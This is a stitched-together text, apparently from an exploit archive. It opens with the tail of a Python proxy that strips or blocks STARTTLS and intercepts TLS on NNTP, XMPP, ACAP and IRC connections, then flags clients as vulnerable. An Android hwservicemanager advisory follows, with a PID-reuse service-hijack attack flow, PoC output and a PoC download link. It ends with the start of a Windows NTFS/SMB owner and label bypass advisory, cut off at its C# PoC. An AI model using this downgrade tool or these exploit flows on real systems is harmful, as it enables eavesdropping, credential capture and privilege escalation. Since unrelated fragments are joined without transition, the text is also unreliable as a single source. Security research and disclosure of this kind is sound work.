session.inbound.sendall("502 Command unavailable\r\n") # or 580 Can not initiate TLS negotiation
logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("502 Command unavailable\r\n")))
data=None
elif "GROUP " in data:
rewrite.set_result(session, True)
return data
class UntrustedIntercept:
''' 1) Do not mangle server data
2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.
in case client does not check keys
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "STARTTLS" in data:
# do inbound STARTTLS
session.inbound.sendall("382 Continue with TLS negotiation\r\n")
logger.debug("%s [client] <= [ ][mangled] %s"%(session,repr("382 Continue with TLS negotiation\r\n")))
context = Vectors.GENERIC.Intercept.create_ssl_context()
context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,
keyfile=Vectors._TLS_KEYFILE)
logger.debug("%s [client] <= [ ][mangled] waiting for inbound SSL handshake"%(session))
session.inbound.ssl_wrap_socket_with_context(context, server_side=True)
logger.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher()))
# outbound ssl
session.outbound.sendall(data)
logger.debug("%s [ ] => [server][mangled] %s"%(session,repr(data)))
resp_data = session.outbound.recv_blocked()
logger.debug("%s [ ] <= [server][mangled] %s"%(session,repr(resp_data)))
if not resp_data.startswith("382"):
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(resp_data))
logger.debug("%s [ ] => [server][mangled] performing outbound SSL handshake"%(session))
session.outbound.ssl_wrap_socket()
logger.debug("%s [ ] <> [server] SSL handshake done: %s"%(session, session.outbound.socket_ssl.cipher()))
data=None
elif "GROUP " in data:
rewrite.set_result(session, True)
return data
class XMPP:
_PROTO_ID = 5222
class StripFromCapabilities:
''' 1) Force Server response to *NOT* announce STARTTLS support
2) raise exception if client tries to negotiated STARTTLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
if "<starttls" in data:
start = data.index("<starttls")
end = data.index("</starttls>",start)+len("</starttls>")
data = data[:start] + data[end:] # strip starttls from capabilities
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "<starttls" in data:
# do not respond with <proceed xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>
#<failure/> or <proceed/>
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(data))
#session.inbound.sendall("<success xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>") # fake respone
#data=None
elif any(c in data.lower() for c in ("</auth>","<query","<iq","<username")):
rewrite.set_result(session, True)
return data
class StripInboundTLS:
''' 1) Force Server response to *NOT* announce STARTTLS support
2) If starttls is required outbound, leave inbound connection plain - outbound starttls
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
if "<starttls" in data:
start = data.index("<starttls")
end = data.index("</starttls>",start)+len("</starttls>")
starttls_args = data[start:end]
data = data[:start] + data[end:] # strip inbound starttls
if "required" in starttls_args:
# do outbound starttls as required by server
session.outbound.sendall("<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>")
logger.debug("%s [client] => [server][mangled] %s"%(session,repr("<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>")))
resp_data = session.outbound.recv_blocked()
if not resp_data.startswith("<proceed "):
raise ProtocolViolationException("whoop!? server announced STARTTLS *required* but fails to proceed. proto violation: %s"%repr(resp_data))
logger.debug("%s [ ] => [server][mangled] performing outbound SSL handshake"%(session))
session.outbound.ssl_wrap_socket()
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "<starttls" in data:
# do not respond with <proceed xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>
#<failure/> or <proceed/>
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(data))
#session.inbound.sendall("<success xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>") # fake respone
#data=None
elif any(c in data.lower() for c in ("</auth>","<query","<iq","<username")):
rewrite.set_result(session, True)
return data
class UntrustedIntercept:
''' 1) Do not mangle server data
2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.
in case client does not check keys
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "<starttls " in data:
# do inbound STARTTLS
session.inbound.sendall("<proceed xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>")
logger.debug("%s [client] <= [ ][mangled] %s"%(session,repr("<proceed xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>")))
context = Vectors.GENERIC.Intercept.create_ssl_context()
context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,
keyfile=Vectors._TLS_KEYFILE)
logger.debug("%s [client] <= [ ][mangled] waiting for inbound SSL handshake"%(session))
session.inbound.ssl_wrap_socket_with_context(context, server_side=True)
logger.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher()))
# outbound ssl
session.outbound.sendall(data)
logger.debug("%s [ ] => [server][mangled] %s"%(session,repr(data)))
resp_data = session.outbound.recv_blocked()
logger.debug("%s [ ] <= [server][mangled] %s"%(session,repr(resp_data)))
if not resp_data.startswith("<proceed "):
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(resp_data))
logger.debug("%s [ ] => [server][mangled] performing outbound SSL handshake"%(session))
session.outbound.ssl_wrap_socket()
logger.debug("%s [ ] <> [server] SSL handshake done: %s"%(session, session.outbound.socket_ssl.cipher()))
data=None
elif "</auth>" in data:
rewrite.set_result(session, True)
return data
class ACAP:
#rfc2244, rfc2595
_PROTO_ID = 675
_REX_CAP = re.compile(r"\(([^\)]+)\)")
class StripFromCapabilities:
''' 1) Force Server response to *NOT* announce STARTTLS support
2) raise exception if client tries to negotiated STARTTLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
if all(kw in data for kw in ("ACAP","STARTTLS")):
features = Vectors.ACAP._REX_CAP.findall(data) # features w/o parentheses
data = ' '.join("(%s)"%f for f in features if not "STARTTLS" in f)
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if " STARTTLS" in data:
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(data))
elif " AUTHENTICATE " in data:
rewrite.set_result(session, True)
return data
class StripWithError:
''' 1) force server error on client sending STARTTLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if " STARTTLS" in data:
id = data.split(' ',1)[0].strip()
session.inbound.sendall('%s BAD "command unknown or arguments invalid"'%id) # or 580 Can not initiate TLS negotiation
logger.debug("%s [client] <= [server][mangled] %s"%(session,repr('%s BAD "command unknown or arguments invalid"'%id)))
data=None
elif " AUTHENTICATE " in data:
rewrite.set_result(session, True)
return data
class UntrustedIntercept:
''' 1) Do not mangle server data
2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.
in case client does not check keys
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if " STARTTLS" in data:
# do inbound STARTTLS
id = data.split(' ',1)[0].strip()
session.inbound.sendall('%s OK "Begin TLS negotiation now"'%id)
logger.debug("%s [client] <= [ ][mangled] %s"%(session,repr('%s OK "Begin TLS negotiation now"'%id)))
context = Vectors.GENERIC.Intercept.create_ssl_context()
context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,
keyfile=Vectors._TLS_KEYFILE)
logger.debug("%s [client] <= [ ][mangled] waiting for inbound SSL handshake"%(session))
session.inbound.ssl_wrap_socket_with_context(context, server_side=True)
logger.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher()))
# outbound ssl
session.outbound.sendall(data)
logger.debug("%s [ ] => [server][mangled] %s"%(session,repr(data)))
resp_data = session.outbound.recv_blocked()
logger.debug("%s [ ] <= [server][mangled] %s"%(session,repr(resp_data)))
if not " OK " in resp_data:
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(resp_data))
logger.debug("%s [ ] => [server][mangled] performing outbound SSL handshake"%(session))
session.outbound.ssl_wrap_socket()
logger.debug("%s [ ] <> [server] SSL handshake done: %s"%(session, session.outbound.socket_ssl.cipher()))
data=None
elif " AUTHENTICATE " in data:
rewrite.set_result(session, True)
return data
class IRC:
#rfc2244, rfc2595
_PROTO_ID = 6667
_REX_CAP = re.compile(r"\(([^\)]+)\)")
_IDENT_PORT = 113
class StripFromCapabilities:
''' 1) Force Server response to *NOT* announce STARTTLS support
2) raise exception if client tries to negotiated STARTTLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
if all(kw.lower() in data.lower() for kw in (" cap "," tls")):
mangled = []
for line in data.split("\n"):
if all(kw.lower() in line.lower() for kw in (" cap "," tls")):
# can be CAP LS or CAP ACK/NACK
if " ack " in data.lower():
line = line.replace("ACK","NAK").replace("ack","nak")
else: #ls
features = line.split(" ")
line = ' '.join(f for f in features if not 'tls' in f.lower())
mangled.append(line)
data = "\n".join(mangled)
elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):
rewrite.set_result(session, True)
return
@staticmethod
def mangle_client_data(session, data, rewrite):
if "STARTTLS" in data:
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(data))
#elif all(kw.lower() in data.lower() for kw in ("cap req","tls")):
# # mangle CAPABILITY REQUEST
# if ":" in data:
# cmd, caps = data.split(":")
# caps = (c for c in caps.split(" ") if not "tls" in c.lower())
# data="%s:%s"%(cmd,' '.join(caps))
elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):
rewrite.set_result(session, True)
return data
class StripWithError:
''' 1) force server error on client sending STARTTLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
if any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):
rewrite.set_result(session, True)
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "STARTTLS" in data:
params = {'srv':'this.server.com',
'nickname': '*',
'cmd': 'STARTTLS'
}
# if we're lucky we can extract the username from a prev. server line
prev_response = session.outbound.recvbuf.strip()
if prev_response:
fields = prev_response.split(" ")
try:
params['srv'] = fields[0]
params['nickname'] = fields[2]
except IndexError:
pass
session.inbound.sendall("%(srv)s 691 %(nickname)s :%(cmd)s\r\n"%params)
logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("%(srv)s 691 %(nickname)s :%(cmd)s\r\n"%params)))
data=None
elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):
rewrite.set_result(session, True)
return data
class StripWithNotRegistered:
''' 1) force server wrong state on client sending STARTTLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
if any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):
rewrite.set_result(session, True)
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "STARTTLS" in data:
params = {'srv':'this.server.com',
'nickname': '*',
'cmd': 'You have not registered'
}
# if we're lucky we can extract the username from a prev. server line
prev_response = session.outbound.recvbuf.strip()
if prev_response:
fields = prev_response.split(" ")
try:
params['srv'] = fields[0]
params['nickname'] = fields[2]
except IndexError:
pass
session.inbound.sendall("%(srv)s 451 %(nickname)s :%(cmd)s\r\n"%params)
logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("%(srv)s 451 %(nickname)s :%(cmd)s\r\n"%params)))
data=None
elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):
rewrite.set_result(session, True)
return data
class StripCAPWithNotRegistered:
''' 1) force server wrong state on client sending CAP LS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
if any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):
rewrite.set_result(session, True)
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "CAP LS" in data:
params = {'srv':'this.server.com',
'nickname': '*',
'cmd': 'You have not registered'
}
# if we're lucky we can extract the username from a prev. server line
prev_response = session.outbound.recvbuf.strip()
if prev_response:
fields = prev_response.split(" ")
try:
params['srv'] = fields[0]
params['nickname'] = fields[2]
except IndexError:
pass
session.inbound.sendall("%(srv)s 451 %(nickname)s :%(cmd)s\r\n"%params)
logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("%(srv)s 451 %(nickname)s :%(cmd)s\r\n"%params)))
data=None
elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):
rewrite.set_result(session, True)
return data
class StripWithSilentDrop:
''' 1) silently drop starttls command
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
if any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):
rewrite.set_result(session, True)
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "STARTTLS" in data:
data=None
elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):
rewrite.set_result(session, True)
return data
class UntrustedIntercept:
''' 1) Do not mangle server data
2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.
in case client does not check keys
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
if " ident " in data.lower():
#TODO: proxy ident
pass
elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):
rewrite.set_result(session, True)
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "STARTTLS" in data:
# do inbound STARTTLS
params = {'srv':'this.server.com',
'nickname': '*',
'cmd': 'STARTTLS'
}
# if we're lucky we can extract the username from a prev. server line
prev_response = session.outbound.recvbuf.strip()
if prev_response:
fields = prev_response.split(" ")
try:
params['srv'] = fields[0]
params['nickname'] = fields[2]
except IndexError:
pass
session.inbound.sendall(":%(srv)s 670 %(nickname)s :STARTTLS successful, go ahead with TLS handshake\r\n"%params)
logger.debug("%s [client] <= [ ][mangled] %s"%(session,repr(":%(srv)s 670 %(nickname)s :STARTTLS successful, go ahead with TLS handshake\r\n"%params)))
context = Vectors.GENERIC.Intercept.create_ssl_context()
context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,
keyfile=Vectors._TLS_KEYFILE)
logger.debug("%s [client] <= [ ][mangled] waiting for inbound SSL handshake"%(session))
session.inbound.ssl_wrap_socket_with_context(context, server_side=True)
logger.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher()))
# outbound ssl
session.outbound.sendall(data)
logger.debug("%s [ ] => [server][mangled] %s"%(session,repr(data)))
resp_data = session.outbound.recv_blocked()
logger.debug("%s [ ] <= [server][mangled] %s"%(session,repr(resp_data)))
if not " 670 " in resp_data:
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(resp_data))
logger.debug("%s [ ] => [server][mangled] performing outbound SSL handshake"%(session))
session.outbound.ssl_wrap_socket()
logger.debug("%s [ ] <> [server] SSL handshake done: %s"%(session, session.outbound.socket_ssl.cipher()))
data=None
elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):
rewrite.set_result(session, True)
return data
class RewriteDispatcher(object):
def __init__(self, generic_tls_intercept=False):
self.vectors = {} # proto:[vectors]
self.results = [] # [ {session,client_ip,mangle,result}, }
self.session_to_mangle = {} # session:mangle
self.generic_tls_intercept = generic_tls_intercept
def __repr__(self):
return "<RewriteDispatcher ssl/tls_intercept=%s vectors=%s>"%(self.generic_tls_intercept, repr(self.vectors))
def get_results(self):
return self.results
def get_results_by_clients(self):
results = {} #client:{mangle:result}
for r in self.get_results():
client = r['client']
results.setdefault(client,[])
mangle = r['mangle']
result = r['result']
results[client].append((mangle,result))
return results
def get_result(self, session):
for r in self.get_results():
if r['session']==session:
return r
return None
def set_result(self, session, value):
r = self.get_result(session)
r['result'] = value
def add(self, proto, attack):
self.vectors.setdefault(proto,set([]))
self.vectors[proto].add(attack)
def get_mangle(self, session):
''' smart select mangle
return same mangle for same session
return different for different session
try to use all mangles for same client-ip
'''
# 1) session already has a mangle associated to it
mangle = self.session_to_mangle.get(session)
if mangle:
return mangle
# 2) pick new mangle (round-robin) per client
#
client_ip = session.inbound.peer[0]
client_mangle_history = [r for r in self.get_results() if r['client']==client_ip]
all_mangles = list(self.get_mangles(session.protocol.protocol_id))
if not all_mangles:
return None
new_index = 0
if client_mangle_history:
previous_result = client_mangle_history[-1]
new_index = (all_mangles.index(previous_result['mangle'])+1) % len(all_mangles)
mangle = all_mangles[new_index]
self.results.append({'client':client_ip,
'session':session,
'mangle':mangle,
'result':None})
#mangle = iter(self.get_mangles(session.protocol.protocol_id)).next()
logger.debug("<RewriteDispatcher - changed mangle: %s new: %s>"%(mangle,"False" if len(client_mangle_history)>len(all_mangles) else "True"))
self.session_to_mangle[session] = mangle
return mangle
def get_mangles(self, proto):
m = self.vectors.get(proto,set([]))
m.update(self.vectors.get(None,[]))
return m
def mangle_server_data(self, session, data):
data_orig = data
logger.debug("%s [client] <= [server] %s"%(session,repr(data)))
if self.get_mangle(session):
data = self.get_mangle(session).mangle_server_data(session, data, self)
if data!=data_orig:
logger.debug("%s [client] <= [server][mangled] %s"%(session,repr(data)))
return data
def mangle_client_data(self, session, data):
data_orig = data
logger.debug("%s [client] => [server] %s"%(session,repr(data)))
if self.get_mangle(session):
#TODO: just use the first one for now
data = self.get_mangle(session).mangle_client_data(session, data, self)
if data!=data_orig:
logger.debug("%s [client] => [server][mangled] %s"%(session,repr(data)))
return data
def on_recv_peek(self, s_in, session):
if self.generic_tls_intercept:
# forced by cmdline-option
return Vectors.GENERIC.Intercept.on_recv_peek(session, s_in)
elif hasattr(self.get_mangle(session), "on_recv_peek"):
return self.get_mangle(session).on_recv_peek(session, s_in)
def main():
from optparse import OptionParser
ret = 0
usage = """usage: %prog [options]
example: %prog --listen 0.0.0.0:25 --remote mail.server.tld:25
"""
parser = OptionParser(usage=usage)
parser.add_option("-q", "--quiet",
action="store_false", dest="verbose", default=True,
help="be quiet [default: %default]")
parser.add_option("-l", "--listen", dest="listen", help="listen ip:port [default: 0.0.0.0:<remote_port>]")
parser.add_option("-r", "--remote", dest="remote", help="remote target ip:port to forward sessions to")
parser.add_option("-k", "--key", dest="key", default="server.pem", help="SSL Certificate and Private key file to use, PEM format assumed [default: %default]")
parser.add_option("-s", "--generic-ssl-intercept",
action="store_true", dest="generic_tls_intercept", default=False,
help="dynamically intercept SSL/TLS")
parser.add_option("-b", "--bufsiz", dest="buffer_size", type="int", default=4096)
all_vectors = []
for proto in (v for v in dir(Vectors) if not v.startswith("_")):
for test in (v for v in dir(getattr(Vectors,proto)) if not v.startswith("_")):
all_vectors.append("%s.%s"%(proto,test))
parser.add_option("-x", "--vectors",
default="ALL",
help="Comma separated list of vectors. Use 'ALL' (default) to select all vectors, 'NONE' for tcp/ssl proxy mode. Available vectors: "+", ".join(all_vectors)+""
" [default: %default]")
# parse args
(options, args) = parser.parse_args()
# normalize args
if not options.verbose:
logger.setLevel(logging.INFO)
if not options.remote:
parser.error("mandatory option: remote")
if ":" not in options.remote and ":" in options.listen:
# no port in remote, but there is one in listen. use this one
options.remote = (options.remote.strip(), int(options.listen.strip().split(":")[1]))
logger.warning("no remote port specified - falling back to %s:%d (listen port)"%options.remote)
elif ":" in options.remote:
options.remote = options.remote.strip().split(":")
options.remote = (options.remote[0], int(options.remote[1]))
else:
parser.error("neither remote nor listen is in the format <host>:<port>")
if not options.listen:
logger.warning("no listen port specified - falling back to 0.0.0.0:%d (remote port)"%options.remote[1])
options.listen = ("0.0.0.0",options.remote[1])
elif ":" in options.listen:
options.listen = options.listen.strip().split(":")
options.listen = (options.listen[0], int(options.listen[1]))
else:
options.listen = (options.listen.strip(), options.remote[1])
logger.warning("no listen port specified - falling back to %s:%d (remote port)"%options.listen)
options.vectors = [o.strip() for o in options.vectors.strip().split(",")]
if 'ALL' in (v.upper() for v in options.vectors):
options.vectors = all_vectors
elif 'NONE' in (v.upper() for v in options.vectors):
options.vectors = []
Vectors._TLS_CERTFILE = Vectors._TLS_KEYFILE = options.key
# ---- start up engines ----
prx = ProxyServer(listen=options.listen, target=options.remote,
buffer_size=options.buffer_size, delay=0.00001)
logger.info("%s ready."%prx)
rewrite = RewriteDispatcher(generic_tls_intercept=options.generic_tls_intercept)
for classname in options.vectors:
try:
proto, vector = classname.split('.',1)
cls_proto = getattr(globals().get("Vectors"),proto)
cls_vector = getattr(cls_proto, vector)
rewrite.add(cls_proto._PROTO_ID, cls_vector)
logger.debug("* added vector (port:%-5s, proto:%8s): %s"%(cls_proto._PROTO_ID, proto, repr(cls_vector)))
except Exception, e:
logger.error("* error - failed to add: %s"%classname)
parser.error("invalid vector: %s"%classname)
logging.info(repr(rewrite))
prx.set_callback("mangle_server_data", rewrite.mangle_server_data)
prx.set_callback("mangle_client_data", rewrite.mangle_client_data)
prx.set_callback("on_recv_peek", rewrite.on_recv_peek)
try:
prx.main_loop()
except KeyboardInterrupt:
logger.warning( "Ctrl C - Stopping server")
ret+=1
logger.info(" -- audit results --")
for client,resultlist in rewrite.get_results_by_clients().iteritems():
logger.info("[*] client: %s"%client)
for mangle, result in resultlist:
logger.info(" [%-11s] %s"%("Vulnerable!" if result else " ",repr(mangle)))
sys.exit(ret)
if __name__ == '__main__':
main()
This bug is similar to Jann Horn's issue (https://bugs.chromium.org/p/project-zero/issues/detail?id=851) -- credit should go to him.
The hardware service manager allows the registration of HAL services. These services are used by the vendor domain and other core processes, including system_server, surfaceflinger and hwservicemanager.
Similarly to the "regular" service manager ("servicemanager"), the hardware service manager is the context manager node for the "hwbinder" device, allowing it to mediate access to all hardware services registered under it. This is done by allowing its users to list, access or insert services into its registry, identified by a unique full-qualified name and an instance name (see http://androidxref.com/8.0.0_r4/xref/system/libhidl/transport/manager/1.0/IServiceManager.hal).
The "add" binder call allows callers to supply a binder instance to be registered with the hardware service manager. When issued, the call is unpacked by the auto-generated hidl stub, and then passed to "ServiceManager::add" for processing. Here is a snippet from that function (http://androidxref.com/8.0.0_r4/xref/system/hwservicemanager/ServiceManager.cpp#172):
1. Return<bool> ServiceManager::add(const hidl_string& name, const sp<IBase>& service) {
2. ...
3. // TODO(b/34235311): use HIDL way to determine this
4. // also, this assumes that the PID that is registering is the pid that is the service
5. pid_t pid = IPCThreadState::self()->getCallingPid();
6.
7. auto ret = service->interfaceChain([&](const auto &interfaceChain) {
8. if (interfaceChain.size() == 0) {
9. return;
10. }
11.
12. // First, verify you're allowed to add() the whole interface hierarchy
13. for(size_t i = 0; i < interfaceChain.size(); i++) {
14. std::string fqName = interfaceChain[i];
15. if (!mAcl.canAdd(fqName, pid)) {
16. return;
17. }
18. }
19. ...
20.}
As we can see in the snippet above, the function first records the pid of the calling process (populated into the transaction by the binder driver). Then, it issues a (non-oneway) transaction to the given service binder, in order to retrieve the list of interfaces corresponding to the given instance. As the comment correctly notes (lines 3-4), this approach is incorrect, for two reasons:
1. The given service can be hosted in a different process to the one making the binder call
2. Recording the pid does not guarantee that the calling process cannot transition from zombie to dead, allowing other processes to take its place
The pid is later used by the AccessControl class in order to perform the access control check, using getpidcon (http://androidxref.com/8.0.0_r4/xref/system/hwservicemanager/AccessControl.cpp#63). Consequently, an attack similar to the one proposed by Jann in the original bug is possible - namely, creating a race condition where the issuing process transitions to dead state, and a new privileged tid to be created in its place, causing the access control checks to be bypassed (by using the privileged process's SELinux context).
Furthermore, this code would have been susceptible to another vulnerability, by James Forshaw (https://bugs.chromium.org/p/project-zero/issues/detail?id=727) - namely, the caller can issue a "oneway" binder transaction in the "add" call, causing the calling pid field recorded by the driver to be zero. In such a case, getpidcon(0) is called, which would have returned the current process's context (the hardware service manager can register several critical services, including the "HIDL manager" and the "Token Manager"). However, this behaviour has since been changed in upstream libselinux (https://patchwork.kernel.org/patch/8395851/), making getpidcon(0) calls invalid, and therefore avoiding this issue.
However, an alternate exploit flow exists, which allows the issue to be exploited deterministically with no race condition required. Since the code above issues a non-oneway binder transaction on the given binder object, this allows the following attack flow to occur:
1. Process A creates a hardware binder service
2. Process A forks to create process B
3. Process B receives binder object from process A
4. Process B registers the binder object with the hardware service manager, by calling the "add" binder call
5. Hardware service manager executes "ServiceManager::add", records process B's pid, calls the (non-oneway) "interfaceChain" binder call on the given binder
6. Process A receives the "interfaceChain" binder call
7. Process A kills process B
8. Process A forks and kills the child processes, until reaching the pid before process B's pid
9. Process A calls the "loadSoundEffects" binder call on the "audio" service, spawning a new long-lived thread in system_server ("SoundPoolThread")
10. The new thread occupies process B's pid
11. Process A completes the "interfaceChain" transaction
12. Hardware service manager uses system_server's context to perform the ACL check
This attack flow allows a caller to replace any service published by system_server, including "IBase", "ISchedulingPolicyService" and "ISensorManager", or register any other services of behalf of system_server.
Note that in order to pass the binder instance between process A and process B, the "Token Manager" service can be used. This service allows callers to insert binder objects and retrieve 20-byte opaque tokens representing them. Subsequently, callers can supply the same 20-byte token, and retrieve the previously inserted binder object from the service. The service is accessible even to (non-isolated) app contexts (http://androidxref.com/8.0.0_r4/xref/system/sepolicy/private/app.te#188).
I'm attaching a PoC which performs the aforementioned attack flow, resulting in the "IBase" service (default instance) being hijacked. Running the PoC should result in the following output:
pid=23701
service manager: 0x7d0b44b000
token manager: 0x7d0b44b140
TOKEN: 0502010000000000B78268179E69C3B0EB6AEBFF60D82B42732F0FF853E8773379A005493648BCF1
05 02 01 00 00 00 00 00 B7 82 68 17 9E 69 C3 B0 EB 6A EB FF 60 D8 2B 42 73 2F 0F F8 53 E8 77 33 79 A0 05 49 36 48 BC F1
pid=23702
service manager: 0x72e544e000
token manager: 0x72e544e0a0
token manager returned binder: 0x72e544e140
Registering service...
interfaceChain called!
load: 0
Killing the child PID: 0
waitpid: 23702
Cycling to pid
unload: 0
load: 0
After running the PoC, the IBase service will be replaced with our own malicious service. This can be seen be running "lshal":
All binderized services (registered services through hwservicemanager)
Interface Server Clients
...
android.hidl.base@1.0::IBase/default 23701 (<-our pid) 463
Note that this attack can also be launched from an application context (with no required permissions), as apps can access both the "hwbinder" (http://androidxref.com/8.0.0_r4/xref/system/sepolicy/private/app.te#186) and the token service (http://androidxref.com/8.0.0_r4/xref/system/sepolicy/private/app.te#188).
The attached PoC should be built as part of the Android source tree, by extracting the source files into "frameworks/native/cmds/hwservice", and running a build (e.g., "mmm hwservice"). The resulting binary ("hwservice") contains the PoC code.
It should be noted that the hardware service manager uses the PID in all other calls ("get", "getTransport", "list", "listByInterface", "registerForNotifications", "debugDump", "registerPassthroughClient") as well.
These commands are all similarly racy (due to the getpidcon(...) usage), but are harder to exploit, as no binder call takes place prior to the ACL check.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43513.zip
/*
Windows: NTFS Owner/Mandatory Label Privilege Bypass EoP
Platform: Windows 10 1709 not tested 8.1 Update 2 or Windows 7
Class: Elevation of Privilege
Summary:
When creating a new file on an NTFS drive it’s possible to circumvent security checks for setting an arbitrary owner and mandatory label leading to a non-admin user setting those parts of the security descriptor with non-standard values which could result in further attacks resulting EoP.
Description:
The kernel limits who can arbitrarily set the Owner and Mandatory Label fields of a security descriptor. Specifically unless the current token has SeRestorePrivilege, SeTakeOwnershipPrivilege or SeRelabelPrivilege you can only set an owner which is set in the current token (for the label is can also be less than the current label). As setting an arbitrary owner in the token or raising the IL is also a privileged operation this prevents a normal user from setting these fields to arbitrary values.
When creating a new file on an NTFS volume you can specify an arbitrary Security Descriptor with the create request and it will be set during the creation process. If you specify an arbitrary owner or label it will return an error as expected. Looking at the implementation in NTFS the function NtfsCreateNewFile calls NtfsAssignSecurity which then calls the kernel API SeAssignSecurityEx. The problem here is that SeAssignSecurityEx doesn’t take an explicit KPROCESSOR_MODE argument so instead the kernel takes the current thread’s previous access mode. The previous mode however might not match up with the current assumed access mode based on the caller, for example if the create call has been delegated to a system thread.
A common place this mode mismatch occurs is in the SMB server, which runs entirely in the system process. All threads used by SMB are running with a previous mode of KernelMode, but will create files by specifying IO_FORCE_ACCESS_CHECK so that the impersonated caller identity is used for security checks. However if you specify a security descriptor to set during file creation the SMB server will call into NTFS ending up in SeAssignSecurityEx which then thinks it’s been called from KernelMode and bypasses the Owner/Label checks.
Is this useful? Almost certainly there’s some applications out there which use the Owner or Label as an indicator that only an administrator could have created the file (even if that’s not a very good security check). For example VirtualBox uses it as part of its security checks for whether a DLL is allowed to be loaded in process (see my blog about it https://googleprojectzero.blogspot.com.au/2017/08/bypassing-virtualbox-process-hardening.html) so I could imagine other examples including Microsoft products. Another example is process creation where the kernel checks the file's label to determine if it needs to drop the IL on the new process, I don't think you can increase the IL but maybe there's a way of doing so.
Based on the implementation this looks like it would also bypass the checks for setting the SACL, however due to the requirement for an explicit access right this is blocked earlier in the call through the SMBv2 client. I’ve not checked if using an alternative SMBv2 client implementation such as SAMBA would allow you to bypass this restriction or whether it’s still blocked in the server code.
It’s hard to pin down which component is really at fault here. It could be argued that SeAssignSecurityEx should take a KPROCESSOR_MODE parameter to determine the security checks rather than using the thread’s previous mode. Then again perhaps NTFS needs to do some pre-checking of it’s own? And of course this wouldn’t be an issue if the SMB server driver didn’t run in a system thread. Note this doesn’t bypass changing the Owner/Label of an existing file, it’s only an issue when creating a new file.
Proof of Concept:
I’ve provided a PoC as a C# source code file. You need to compile it first. It will attempt to create two files with a Security Descriptor with the Owner set to SYSTEM.
1) Compile the C# source code file.
2) Execute the PoC as a normal user or at least a filtered split-token admin user.
Expected Result:
Both file creations should fail with the same error when setting the owner ID.
Observed Result:
The first file which is created directly fails with an error setting the owner ID. The second file which is created via the C$ admin share on the local SMB server succeeds and if the SD is checked the owner is indeed set to SYSTEM.
*/
using System;
using System.IO;
using System.Security.AccessControl;
